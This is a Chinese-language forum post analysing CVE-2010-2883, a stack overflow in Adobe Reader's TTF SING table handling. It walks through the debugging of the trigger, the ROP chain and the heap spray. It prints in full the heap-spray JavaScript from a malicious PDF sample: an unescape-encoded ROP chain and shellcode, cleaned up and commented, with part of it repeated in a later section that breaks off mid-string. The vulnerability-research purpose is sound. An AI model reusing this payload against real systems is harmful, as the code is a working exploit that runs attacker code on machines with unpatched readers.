ToB企服应用市场:ToB评测及商务社交产业平台

标题: CVE-2010-2883漏洞 [打印本页]

作者: 天空闲话    时间: 2024-4-20 05:27
标题: CVE-2010-2883漏洞
CVE-2010-2883 Adobe Reader TTF 字体SING表栈溢出漏洞

1. 漏洞描述

​        Adobe Reader 和 Acrobat 都是美国奥多比(Adobe)公司的产品。Adobe Reader是一款免费的 PDF 文件阅读器,Acrobat 是一款 PDF 文件编辑和转换工具。基于 Window 和 Mac OS X 的 Adobe Reader 和 Acrobat 9.4 之前的9.x版本,8.2.5之前的8.x版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体 Smart INdependent Glyphlets (SING) 表格中超长字段 uniqueName 的 PDF 文件执行任意代码或者导致拒绝服务(应用程序崩溃)
2. 分析环境

环境备注攻击主机操作系统(使用MSF的操作系统)Windows 10/Kali能使用MSF的操作系统均可目标主机操作系统Windows XP SP3版本号:Windows XP Professional SP3 简体中文版32位 HomeEdition虚拟机VMware Workstation版本号:15.5 PRO调试器WinDbg
OllyDbg版本号:6.12.0002.633 x86
版本号:1.0.1反汇编器IDA Pro版本号:7.0漏洞程序Adobe Reader版本号:9.3.4更新漏洞程序Adobe Reader版本号:9.4.0补丁比较工具BinDiff版本号:7.0漏洞复现Metasploit版本号:6.18漏洞模块CoolType.dll版本号:5.5.72.1补丁模块CoolType.dll版本号:5.5.73.1查壳工具PEID版本号:0.95PDF文件查看工具0101Editor版本号:11.0.1PDF文件分析工具PDFStreamDumper版本号:0.09.0627样本 md5
名企面试自助手册.pdf: 3f41dc8e22deca8302db1207e5cdc11c
svrhost.exe: 56e6d9b07c8e9e71224c0741566c3eac
msxml0r.dll: dd48f45c9418da8eb89dfcae894d5b93
3. 漏洞复现

3.1 前期准备

​        在 Windows XP SP3 中安装 Adobe Reader 9.3.4

3.2 本地感染弹出计算器

3.3 操控靶机

4. PDF 格式和 TTF SING 表

4.1 PDF 的文件结构

​        可移植文档格式(Portable Document Format,简称PDF)是一种用独立于应用程序、硬件、操作系统的方式呈现文档的文件格式。1991年,Adobe Systems共同创始人约翰·沃诺克提出的名为“Camelot”的系统演变成PDF。
​        PDF文件格式可以将文字、字型、格式、颜色及独立于设备和分辨率的图形图像等封装在一个文件中。该格式文件还可以包含超文本链接、声音和动态影像等电子信息,支持特长文件,集成度和安全可靠性都较高。而且这种格式是跨平台的,和操作系统无关。
PDF文档是一种文本和二进制混排的格式,PDF文件结构上主要有四部分组成:
4.2 使用 0101 Editor 分析 PDF 文件结构

4.3 使用 PDFStreamDumper 分析 PDF 文件中的对象

​        PDF的 Body 可以看成一个树状的层次结构组成,其中的每个节点都是一个对象。由根节点 Document catalog 开始,其页节点包括文档的内容(页树)、大纲、文章线索、等其他属性
​        以 Page tree 为例,其下面的页节点是 Page 节点,也就是每一个页面,Page 节点又由内容流、缩略图、注解等元素组成

使用 PdfStreamDumper.exe 解析 PDF 文件中的对象
4.4 TTF 文件解析

​        全名 The TrueType Font File,是定义字体的文件
​        TrueType 字体文件以表格格式包含构成字体的数据。下面是各表的作用

4.5 SING 表结构

​        SING 技术是 Adobe 公司推出的针对“外字”(Gaiji)的解决方案,外字是日语中的意思,中文中就是生僻字的意思。SING 允许用户创建新字形,每个新字形作为一个独立的字体打包。这样打包出来的字形称为字形包(glyphlet)。这种格式通过Adobe公开的,且基于OpenType。
​        SING(Smart INdependent Glyphlets,智能独立字形包)的规范允许字形包随同文件一起传送,这样包含 SING 字符的文件也是可携带的,而又不会字符乱码、异常显示。
​        展开 010editor ttf 文件中的表,可以看到有一个 SING 表,该表就是漏洞触发点,TTF 中关于 SING 表的 TableEntry 结构如下:
  1. typedef sturct_SING
  2. {
  3.         char tag[4]; // 标记:"SING"
  4.         ULONG checkSum; // 校验和:"0xD9BCC8B5"
  5.         ULONG offset; // 相对文件的偏移:"0x0000011C "
  6.         ULONG length; // 数据长度:"0x00001DDF"
  7. } TableEntry;
复制代码
​        在 github 的开源库中找到 SING 表定义,定义如下:
  1. #ifndef FORMAT_SING_H
  2. #define FORMAT_SING_H
  3. #define SING_VERSION VERSION(1, 1)
  4. #define SING_UNIQUENAMELEN 28
  5. #define SING_MD5LEN 16
  6. typedef struct
  7. {
  8.         Card16 tableVersionMajor;//Card16 就是 USHORT 类型,16位大小
  9.         Card16 tableVersionMinor;
  10.         Card16 glyphletVersion;
  11.         Card16 permissions;
  12.         Card16 mainGID;
  13.         Card16 unitsPerEm;
  14.         Int16 vertAdvance;
  15.         Int16 vertOrigin;
  16.         Card8 uniqueName[SING_UNIQUENAMELEN];//Card8 就是 byte 类型或 char 类型,8位大小
  17.         Card8 METAMD5[SING_MD5LEN];
  18.         Card8 nameLength;
  19.         Card8 *baseGlyphName; /* name array */
  20. } SINGTbl;
复制代码

​        漏洞触发的原因是 CoolType.dll 在复制 uniqueName 字段到缓冲区时,没有检查 uniqueName 字段的长度,导致缓冲区溢出
5. 静态分析

5.1 基于字符串定位的漏洞分析方法

​        用 IDA 反汇编 CoolType.dll 库,查看字符串可发现 “SING” 字体,因为该字符串是漏洞解析出错的地方,直接定位进去即可查看该库对 sing 表格的解析方式,主要是 strcat 造成的溢出漏洞:
5.2 基于定位函数交叉引用的漏洞分析方法

6. 动态调试

6.1 调试过程

6.1.1 前置分析

6.1.2 寻找触发点

​        漏洞触发点是 0x0808B308 处的 call [eax] ,可以从调用 strcat 函数开始,一步一步的步入代码去寻找调用点,在寻找的过程中,可以使用 ida 的反编译窗口来加强理解这些汇编代码的作用
寻找方法如下:
​        在返回函数前,为了寻找覆盖栈后,可能会导致程序崩溃的子函数,可以在每次函数调用前,都下个断点,然后 F8 步过直接执行完该函数,如果程序退出,证明这个函数里面可能引用到覆盖后的数据。然后用 ollydbg 重新运行到该断点处,用 F7 步入函数继续跟踪到触发点。
​        在开始操作前,先打个虚拟机快照,因为该样本的触发点运行后,会释放恶意代码,运行过一次恶意代码后会影响后续的样本分析,所以在找到触发点后,需要恢复下快照,把系统恢复到恶意代码释放前。
1)一路按 F8,运行到调用函数时,下一个断点

2)按 F8 步过该函数,发现程序没有崩溃,删除上面的断点,继续往下测试,直到调用 0x08016BDE 函数处,F8 会直接跑到 call [eax] 处,显然通过该函数会直接运行到触发点

3)发现调用点后,可以这里可以 ctrl+F2 重新打开程序,加载程序,运行到断点处,按 F7 步入 0x08016BDE 函数,并在 IDA 反编译窗口中跟进该函数。重复上面的操作,在 0x08016C56 地址处调用 0x0801BB21 函数后会跑到 call [eax] 处

4)F7 继续跟进这个函数,在 0x0801BB2D 处把 ecx 指向的值移动到 eax

5)在 ecx 上右键,在数据窗口中跟随

6)在数据窗口中右键 -> 长型->地址,以地址形式显示数据,发现 ecx 处的值也是一个指针,指向 0x081A601C


7)在数据窗口中 ctrl+g 输入 0x081A601C,跳转到该地址,发现该地址处存放着很多函数指针,显然是一个 C++ 类的虚表。而 0x081A601C 则是一个虚表指针,指向该虚表


8)在 IDA 中查看该地址,可以看到该类是 StreamHandler,应该是处理解析 PDF 中流对象的类

9)在反编译窗口中修改下该函数的变量名,该函数的功能也就是取 StreamHandler 的第一个虚函数 0x0808B116 ,然后运行该函数

10)继续运行到调用该虚函数处

11)查看此时的栈情况,分别对应 0x0808B116 函数的 7 个参数,第一个参数是 StreamHandler 对象。也就是 0x12E718 处的对象

12)查看该地址的数据时,发现该对象偏移 0x3C 处,存放了 0x12E6D0,该地址刚好存放了后面要调用的函数指针,在缓冲区溢出时,很可能是覆盖了 StreamHandler 的一个成员变量,该变量是一个函数指针,指向一个处理函数

13)F7 跟进 0x0808BB16 函数,在 0x0808B2E3 处调用处取了 0x12F718 + 0x3C 处的值放到 eax,也就是 StreamHandler 对象偏移为 0x3C 处的值,该值为 0x12E6D0


14)继续运行,在 0x0808B308 处 call [eax] 取 0x12E6D0 处的值作为函数进行调用,该值为 icucnv36.dll 中的地址 0x4A80CB38


15)按 F7 步入后,就到了 ROP 链

6.1.3 ROP 链分析

1)跳到 0x4A80CB38 处运行

2)add ebp, 0x794 调整了 ebp,加了 0x794,从0x12DD48 调整到 0x12E4DC

3)下面的 leave 指令相当于 mov esp,ebp pop ebp。也就是把 ebp 的值复制到 esp,也就达到了调整栈顶的目的,运行完后, esp 指向 0x12E4E0,而缓冲区溢出时的地址是 0x12E4D8,该地址刚好在后面8个字节,是我们可以控制的栈区。所以这段汇编代码的作用是把栈顶调整到可以控制的栈区

4)接下来根据栈上的返回地址返回,到达下一段 ROP 代码
​        retn 指令相当于:pop eip  add esp, 4h

5)该处 pop esp 把 esp 修改到 0x0c0c0c0c 地址,也就是堆喷常用的地址。运行完后,栈顶来切换成 0x0c0c0c0c

6)继续执行返回,到达下一段 ROP 代码

7)执行完 pop ecx 把 0x4A8A0000 地址出栈到 ecx

8)继续执行返回,到达下一段 ROP 代码

9)该段代码执行 mov dword ptr ds:[ecx],eax 保存 eax 处的值到 0x4A8A0000 处

10)继续执行返回,到达下一段 ROP 代码

11)此时栈顶存放了 CreateFileA 函数的地址,通过 pop eax 赋值给 eax,然后返回

12)返回到 jmp [eax], 也就是直接跳转到 CreateFileA 函数中执行,此时栈上是已经构造好的参数
CreateFileA函数:创建或打开文件或 I/O 设备
原型和参数解释
  1. HANDLE CreateFileA(
  2.   [in]           LPCSTR                lpFileName,        //要创建或打开的文件或设备的名称,下图中为 0x4A8522C8,值为iso88591
  3.   [in]           DWORD                 dwDesiredAccess,//访问权限,下图中为 GENERIC_ALL 0x10000000(所有可能的访问权限)
  4.   [in]           DWORD                 dwShareMode,        //文件或设备的请求共享模式,下图中为 null
  5.   [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,//指向一个 SECURITY_ATTRIBUTES 结构的指针,下图中为 null
  6.   [in]           DWORD                 dwCreationDisposition,//对存在或不存在的文件或设备执行的操作,下图中为 CREATE_ALWAYS
  7.   [in]           DWORD                 dwFlagsAndAttributes,//文件或设备属性和标志,下图中表示文件用于临时存储且文件被隐藏
  8.                                                                                                                     //下图中为 FILE_ATTRIBUTE_TEMPORARY|FILE_ATTRIBUTE_HIDDEN
  9.   [in, optional] HANDLE                hTemplateFile//具有 GENERIC_READ 访问权限的模板文件的有效句柄,下图中为null
  10. );
复制代码

13)继续按 F7 步入 CreateFileA ,该函数会在本地打开一个文件,如果不存在则创建。FileName 参数为 iso88591 ,也就是在本地创建一个名为 iso88591 的文件,且该文件是一个隐藏文件和临时文件。要在文件夹中开启显示隐藏文件才可以查看

14)按 Ctrl + F9 执行至返回,在桌面上可以看到这个文件



15)CreateFileA 函数调用完后,返回至 0x4A801064 处,在该处执行 retn 指令

16)执行完上述的 retn 指令后,到达 0x4A8063A5 处

17)该处代码执行 pop ecx 指令,此时 ecx 被赋值为 0x4A801064

18)继续执行,到达 0x4A842DB2 地址处

19)该代码把 eax 和 edi 的值交换,此时 eax 保存的是 CreateFileA 函数调用后返回的文件句柄,交换后文件句柄由 edi 保存

20)继续运行到 0x4A802AB1 处

21)该代码把 8 赋值给 ebx

22)继续运行到 0x4A80A8A6处

23)该代码把 edi 的值放到 esp + ebx * 2 处 , 也就是 0x0c0c0c6c ,此处原来的值是 0xFFFFFFFF, 通过 and 操作可以把 edi 的值放到此处,该处刚好为接下来要调用的 CreateFileMappingA 函数的第一个参数位置。
​        这样操作应该是没找到直接把 eax 的值放到栈上指定位置的指令,只找到了把 edi 的值放到栈上指定位置的指令

24)按下 Ctrl + F9 运行到返回,接下来把 CreateFileMappingA 函数地址放到 eax 中

25)继续运行到 0x4A80B692 处,此时栈中已布置好参数
CreateFileMappingA函数:为指定文件创建或打开命名或未命名的文件映射对象
原型和参数解释
  1. HANDLE CreateFileMappingA(
  2.   [in]           HANDLE                hFile,                //文件句柄,下图中为0x33C
  3.   [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,        //指向SECURITY_ATTRIBUTES结构的指针,下图中为 null
  4.   [in]           DWORD                 flProtect,        //指定文件映射对象的页面保护,下图中为 PAGE_EXECUTE_READWRITE 40
  5.   [in]           DWORD                 dwMaximumSizeHigh,//文件映射对象的最大大小的高阶 DWORD,下图中为0
  6.   [in]           DWORD                 dwMaximumSizeLow,//文件映射对象的最大大小的低序 DWORD,下图中为 0x10000
  7.   [in, optional] LPCSTR                lpName                //文件映射对象的名称,下图中为0
  8. );
复制代码

26)此时按 F7 步入,直接跳转到 CreateFileMappingA 函数运行。在栈上可以看到 CreateFileMappingA 函数的参数,该函数为指定的文件创建文件映射对象

27)按下 Ctrl + F9 运行到返回,继续运行,后面的运行和前面的运行很相似,也是调用 MapViewOfFile ,也把 CreateFileMappingA 返回的句柄 0x340 保存到栈上,作为 MapViewOfFile 函数的第一个参数
​        ① 执行 pop ecx 指令,将 ecx 赋值为 4A801064

​        ② 交换 eax, edi,此时 eax 内保存创建文件的句柄,edi 保存 CreateFileMappingA 返回的句柄

​        ③ 将 ebx 赋值为 8

​        ④ 将句柄保存到栈上,以便下个函数调用

​        ⑤ 出栈 MapViewOfFile 函数的地址

​        ⑥ 继续运行到 0x4A80B692 处,此时栈中已布置好参数
​        MapViewOfFile函数:将文件映射的视图映射到调用进程的地址空间
​        原型和参数解释
  1. LPVOID MapViewOfFile(
  2.   [in] HANDLE hFileMappingObject,        //文件映射对象的句柄,下图中为 0x340
  3.   [in] DWORD  dwDesiredAccess,                //对文件映射对象的访问类型,下图中为 FILE_MAP_EXECUTE|FILE_MAP_WRITE
  4.   [in] DWORD  dwFileOffsetHigh,
  5.   [in] DWORD  dwFileOffsetLow,
  6.   [in] SIZE_T dwNumberOfBytesToMap        //要映射到视图的文件映射的字节数,下图中为 0x10000
  7. );
复制代码


​        ⑦ 跳转到 MapViewOfFile 函数中执行,该函数将一个文件映射对象映射到当前应用程序的地址空间,调用函数后会返回该文件对象在内存中对应的地址

​        ⑧ 运行到返回后,eax 存放着映射的内存地址,此处为 0x37D0000

28)查看映射地址 0x37D000 处的属性为读写执行权限,可以执行 shellcode

29)继续运行,把 0x4A8A0004 地址放到 ecx

30)把 eax 中由 MapViewOfFile 函数返回的内存地址保存到 0x4A8A0004 中

31)执行 pop ecx 指令将 ecx 赋值为 0x4A801064

32)交换 eax, edi,

33)给 ebx 赋值 0x30

34)把 edi 的值保存在 esp + ebx*2 的位置,也就是 0x0C0C0D44 的位置 ,该处的作用是用于后续 ROP 链的返回地址,最后 retn 时会返回到 0x37D0000

35)给 eax 赋值 0x4A8A0004

36)把 0x4710000 这个新映射的地址保存到 eax 中

37)执行 pop ecx 将 ecx 赋值为 0x4A801064

38)交换 eax, edi(此处两者都一样,交换完也一样)

39)赋值 ebx 为 0x20

40)保存 0x37D0000 到 esp + ebx*2 处,该处为后续要调用 memcpy 函数的参数

41)赋值 ecx 为 0x4A801064,该处为一个 retn 指令的地址

42)在 0x4A80AEDC 处把栈地址 + 0xC 的位置加载到 edx,此时 edx 为 0x0C0C0D20 。目的是为后续调用 memcpy 做准备
​        push edx   0x0C0C0D10 0C0C0D20
​        push eax   0x0C0C0D0C 037D0000
​        push ....         0x0C0C0D08 4A8063A5
​        push ....         0x0C0C0D04 0

43)通过 call ecx 实现返回控制权
0x4A801064 处为一条 retn 指令,此时执行该指令可直接跳转到 0x4A80AEEE,可重新控制程序流程

44)调整栈中执行位置,继续返回,跳转至 0x4A801F90

45)给 eax 赋值 0x34

46)edx + eax 保存到 eax,值为 0x0C0C0D54,该值为后续 memcpy 调用的源地址

47)执行 pop ecx 将 ecx 赋值为 0x4A801064

48)交换 eax, edi,此时 edi 中为后续 memcpy 调用的源地址

49)赋值 ebx 0xA

50)把 0x0C0C0D54 地址放到 0x0C0C0D4C 处,此处刚好是调用 memcpy 时的源地址参数

51)给 eax 赋值为 memcpy 函数的地址

52)跳转到 memcpy 函数

53)memcpy 函数会把数据从一个源地址复制到目的地址,查看栈中构造好的参数,目的地址是 0x37D0000, 源地址是 0x0C0C0D54,0x0C0C0D54 后面就存放着恶意代码

54)复制完后,会返回到 0x37D0000 执行恶意代码

6.1.4 堆喷(Heap Spray)分析

​        前面分析 ROP 链时,栈顶被切换到 0x0c0c0c0c 的位置,该地址被放置了构造好的栈和shellcode。这里就用到了堆喷技术。
​        在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量堆内存,并用包含着0x90和shellcode的“内存片”覆盖这些内存。通常,JavaScript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200 X 1024X 1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcode 的内存片覆盖。只要内存片中的0x90能够命中0x0C0C0C0C的位置,shellcode 就能最终得到执行。
1. 提取样本中的 heap spray 代码

处理好的代码如下:
  1. //afjp;ajf'klaf
  2. var nXzaRHPbywqAbGpGxOtozGkvQWhu;
  3. for (i = 0; i < 28002; i++) // ahjf;ak'
  4. nXzaRHPbywqAbGpGxOtozGkvQWhu += 0x78; //ahflajf
  5. var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
  6. "\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
  7. "%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
  8. "%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
  9. "%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
  10. "%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
  11. "%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
  12. "%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
  13. "%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
  14. "%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
  15. "%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
  16. "%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
  17. "%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
  18. "%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
  19. "%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
  20. "%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
  21. "%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
  22. "%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
  23. "%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
  24. "%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
  25. "%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
  26. "%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
  27. "%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
  28. "%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
  29. "%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
  30. "%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
  31. "%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
  32. "%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
  33. "%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
  34. "%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
  35. "%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
  36. "%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
  37. "%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
  38. "%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
  39. "%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
  40. "%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
  41. "%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
  42. "%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
  43. "%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
  44. "%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
  45. "%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
  46. "%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
  47. "%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
  48. "%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
  49. "%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
  50. "%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
  51. "\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
  52. "%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
  53. "%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
  54. "%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
  55. "%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
  56. "%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
  57. "%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
  58. "%u5fea%u5d5e%uc25b%u0008"
  59. );
  60. // unescape("%u0c0c%u0c0c"); 滑块代码 0x0c 等于指令 OR al, 0C; 大量执行对 shellcode 无影响
  61. var nop_chip = unescape("\x25\x750c0c\x25\x750c0c");
  62. // 65536 等于 0x10000 等于 2 ^ 16 等于 64KB, 这里的 20+8 应该是用来免杀用的,无实际作用
  63. while (nop_chip.length + 20 + 8 < 65536)
  64.     nop_chip += nop_chip;
  65. // 精准堆喷,使 shellcode 开始的地方一定在 0c0c 结尾的地址 0x....0c0c 处
  66. temp_chip = nop_chip.substring(0, (0x0c0c - 0x24) / 2);
  67. temp_chip += shellcode; //拼接上 shellcode,该位置一定在 0c0c 结尾的地址处
  68. temp_chip += nop_chip; //拼接后续的滑块代码
  69. // shellcode 小片段一个是 0x10000 大小,unicode 一个长度等于2字节,0x10000实际是 0x20000 字节大小,除2 为 0x10000
  70. small_shellcode_slide = temp_chip.substring(0, 65536 / 2);
  71. // 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
  72. while (small_shellcode_slide.length < 0x80000)
  73.     small_shellcode_slide += small_shellcode_slide;
  74. // 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,shellcode_slide 应该小于堆块大小
  75. shellcode_slide = small_shellcode_slide.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
  76. var slide = new Array();
  77. // 0x1f0 等于 496 ,也就是在内存中申请了接近 500 MB 的内存
  78. for (i = 0; i < 0x1f0; i++)
  79.     slide[i] = shellcode_slide + "s";// s 字符无实际作用,估计用于免杀
复制代码
2. 代码分析

6.1.5 恶意样本分析(shellcode)

1. 代码
  1. var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
  2. "\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
  3. "%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
  4. "%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
  5. "%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
  6. "%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
  7. "%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
  8. "%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
  9. "%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
  10. "%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
  11. "%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
  12. "%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
  13. "%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
  14. "%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
  15. "%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
  16. "%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
  17. "%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
  18. "%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
  19. "%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
  20. "%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
  21. "%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
  22. "%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
  23. "%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
  24. "%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
  25. "%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
  26. "%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
  27. "%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
  28. "%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
  29. "%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
  30. "%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
  31. "%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
  32. "%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
  33. "%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
  34. "%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
  35. "%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
  36. "%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
  37. "%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
  38. "%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
  39. "%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
